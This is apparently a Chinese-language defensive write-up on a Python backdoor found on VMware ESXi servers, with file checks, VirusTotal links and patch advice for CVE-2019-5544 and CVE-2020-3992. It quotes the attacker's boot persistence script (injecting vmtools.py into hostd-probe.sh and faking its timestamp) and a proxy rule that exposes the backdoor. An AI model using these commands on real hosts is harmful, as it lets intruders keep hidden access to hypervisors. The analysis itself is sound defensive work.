# 針對 VMware ESXi 主機攻擊的 Python 後門漏洞 新發現的 Python 惡意軟體,會在 VMware ESXi 伺服器開啟遠端遙控後門 ###### tags: `vmsa` `security` 網通大廠 Juniper Networks 旗下的資安研究人員,日前發現一個過去**未曾發現的 Python 後門,專門攻擊 VMware ESXi 伺服器**,駭客入侵者能藉以在遭駭侵系統上遠端執行。 [toc] # 安全資訊參考 相關安全資訊說明請參考以下連結進行了解。 目前 VMware 官方尚未有針對的解決方案,初期可以先參考研究文件提供的[**緩解方案**](#緩解方案)處理。 ## Juniper Networks [Juniper Networks: A Custom Python Backdoor for VMWare ESXi Servers](https://blogs.juniper.net/en-us/threat-research/a-custom-python-backdoor-for-vmware-esxi-servers) ## TWCERT/CC - [TWCERT/CC - 新發現的 Python 惡意軟體,會在 VMware ESXi 伺服器開啟遠端遙控後門](https://www.twcert.org.tw/tw/cp-104-6811-8ef4e-1.html) :::warning 文章誤植 /etc/rc.local.d/local.sh 為 /etc/**e**c.local.d/local.sh ::: # 攻擊操作 透過 Python 後門攻擊,總共會在 ESXi 主機上安裝或修改了 4 個檔案: - `/etc/rc.local.d/local.sh` - `/bin/hostd-probe.sh` - `/store/packages/vmtools.py` - `/etc/vmware/rhttproxy/endpoints.conf` 上述變動檔案將會在 ESXi 重新啟動後重新套用。 ## 影響檔案 ### `/etc/rc.local.d/local.sh` 以下檔案顯示應未被更動的預設內容。分別是 ESXi 6.7.0 和 ESXi 7.0.3。 ![](https://i.imgur.com/SJjYnhE.png) ![](https://i.imgur.com/c6oQKpZ.png) :::success 從上述內容都未發現研究文件中提及到的命令腳本。 ::: ### 攻擊者腳本內容 以下為研究文件中提到的命令腳本,將會添加至上述提到的 **`/etc/rc.local.d/local.sh`** 檔案中。 - 主要前面 7 行是為了將第 3 行的 Python 腳本檔 **`vmtools.py`** 植入 **`/bin/hostd-probe.sh`** 檔案中,該檔案為 ESXi 啟動時自動啟動的系統檔。 - 第 8 行則是採用 `/usr/lib/vmware/busybox/bin/busybox` 的時間戳記來調整剛剛建立的 `/bin/hostd-probe.sh` 檔案時間。 ```bash= /bin/mv /bin/hostd-probe.sh /bin/hostd-probe.sh.1 /bin/cat << LOCAL2 >> /bin/hostd-probe.sh /bin/nohup /bin/python -u /store/packages/vmtools.py >/dev/null 2>&1& LOCAL2 /bin/cat /bin/hostd-probe.sh.1 >> /bin/hostd-probe.sh /bin/chmod 755 /bin/hostd-probe.sh /bin/rm /bin/hostd-probe.sh.1 /bin/touch -r /usr/lib/vmware/busybox/bin/busybox /bin/hostd-probe.sh ``` ### `/store/packages/vmtools.py` 至於攻擊腳本中使用 **`/store/packages/vmtools.py`** 的 Python 腳本, 目前在我們的系統上並未發現(表示系統並未被駭客入侵?)。所以 `vmtools.py` 腳本詳細內容並不得知,但從研究文件可以初步了解,將會啟用 web 服務器,透過遠端命令或 reverse shell 方式使用。詳細說明請參考 [[研究文件]](https://blogs.juniper.net/en-us/threat-research/a-custom-python-backdoor-for-vmware-esxi-servers) 。 :::info 使用 **`python3 http.server 8008`** 命令,便可簡單啟用一個網頁服務。 ![](https://i.imgur.com/KA8mbXk.png) ::: ### `/etc/vmware/rhttpproxy/endpoints.conf` 以下為 ESXi 6.7 顯示的檔案內容。 ![](https://i.imgur.com/bPCvS0N.png) 根據研究文件,攻擊者應會在 ESXi rever HTTP Proxy 組態檔 **`/etc/vmware/rhttpproxy/endpoints.conf`** 增加以下內容,以允許外部存取惡意的 Web 服務器。 ```conf /<random_UUID> local 8008 allow allow ``` ## 檢視持久性系統檔案 研究文件提供可對於持久性系統檔案檢視的文章連結。 - [How to Persist Configuration Changes in ESXi 4.x/5.x](https://williamlam.com/2011/08/how-to-persist-configuration-changes-in.html) 另外參考文章了解 ESXi 主機執行自動備份時間的詳細資訊。 - [How often does ESXi write to the boot disk?](https://blogs.vmware.com/vsphere/2011/09/how-often-does-esxi-write-to-the-boot-disk.html) 根據上述說明,可以簡單檢查一下先前提到的系統檔案。 - 將 `local.sh` 和 `endpoint.conf` 檔案寫入檔案 `files_to_check` 備用。 ![](https://i.imgur.com/hPU0s1d.png) - 檢視系統檔案屬性。皆帶有 **Sticky Bit**(**t**/**T**)。 ![](https://i.imgur.com/D9HMoWd.png) - 檢查系統檔案是否因為變動而產生自動備份檔案。 ![](https://i.imgur.com/H5X1hsh.png) :::info 有關自動備份資訊,可以檢視 **`/var/spool/cron/crontab/root`** 檔案,可以好好研究一下 **`/sbin/auto-backup.sh`** 腳本。 ![](https://i.imgur.com/xugYVML.png) ::: :::info 其中使用以下命令可以找尋備份的系統檔案。 ```bash # find /etc -follow -type f -name ".#*" ``` 若要將檔名前面的 **`.#`** 刪除取出檔名,可以使用腳本檔提供的方式: ```bash # find /etc -follow -type f -name ".#*" | sed -e sed -e 's|.#\(.*\)|\1|g' ``` ::: ## VirusTotal 從 **VirusTotal** 可以查詢到 [**vmtools.py**](https://www.virustotal.com/gui/file/773d147a031d8ef06ee8ec20b614a4fd9733668efeb2b05aa03e36baaf082878/detection) 和 [**local.sh**](https://www.virustotal.com/gui/file/ceeb337778efe3c62a4ce04d750f60e773133dc7c99b661a5040e35afa16f426/community) 進一步的相關資訊。 - [vmtools.py](https://www.virustotal.com/gui/file/773d147a031d8ef06ee8ec20b614a4fd9733668efeb2b05aa03e36baaf082878/detection) ![](https://i.imgur.com/pVGwgnY.png) - [local.sh](https://www.virustotal.com/gui/file/ceeb337778efe3c62a4ce04d750f60e773133dc7c99b661a5040e35afa16f426/community) ![](https://i.imgur.com/90g8IQS.png) # 緩解方案 ## 建議操作 根據研究文件提供以下的暫時處理方案: 1. 盡快進行供應商系統補丁更新。 2. 限制網路連接至受信任的主機。 3. 檢查上面提及的 4 檔案內容是否為預設狀態或已經變動存在。 4. 檢查所有修改過的持久性(persistent)系統檔案是否有被意外更動。 :::info 就目前研究資料來看,漏洞途徑採用 VMware ESXi OpenSLP 服務漏洞,只要系統透過 VMware 安全公告(VMSA)[[**參考連結資訊**]](#VMware-Security-Advisories) 完成修補應可降低其入侵風險。 ::: ## VMware Security Advisories VMware 安全公告(VMware Security Advisories)[[**連結**]](https://www.vmware.com/security/advisories.html) 記錄了針對 VMware 產品中報告的安全漏洞的補救措施。在頁面右側提供註冊以通過電子郵件接收最新的安全更新建議。 ![](https://i.imgur.com/cbYdoTW.png) :::info - 基本上系統更新至需求的安全補丁版本,系統入侵風險應可降低! - 對於不必要的遠端存取服務應關閉且定期驗證確認。 - 對於必要使用遠端存取 ESXi 的主機進行安全控管。 ::: 以下將研究文件中提出的 2 個漏洞:[**CVE-2019-5544**](https://nvd.nist.gov/vuln/detail/CVE-2019-5544) 和 [**CVE-2020-3992**](https://nvd.nist.gov/vuln/detail/CVE-2020-3992),在 VMware 原廠的 **VMware Security Advisories(VMSA)** 搜尋可得以下建議資訊。 ### VMSA-2019-0022.1 - [VMware 安全建議: **VMSA-2019-0022.1**](https://www.vmware.com/security/advisories/VMSA-2019-0022.html) :::info **Workarounds** - [**KB76372**: How to Disable/Enable the SLP Service on VMware ESXi](https://kb.vmware.com/s/article/76372) - [**KB76411**: Workaround for OpenSLP security vulnerability in Horizon DaaS appliances (CVE-2019-5544)](https://kb.vmware.com/s/article/76411) ::: ### VMSA-2020-0023.3 - [VMware 安全建議: **VMSA-2020-0023.3**](https://www.vmware.com/security/advisories/VMSA-2020-0023.html) :::info **Workarounds** - [**KB76372**: How to Disable/Enable the SLP Service on VMware ESXi](https://kb.vmware.com/s/article/76372) ::::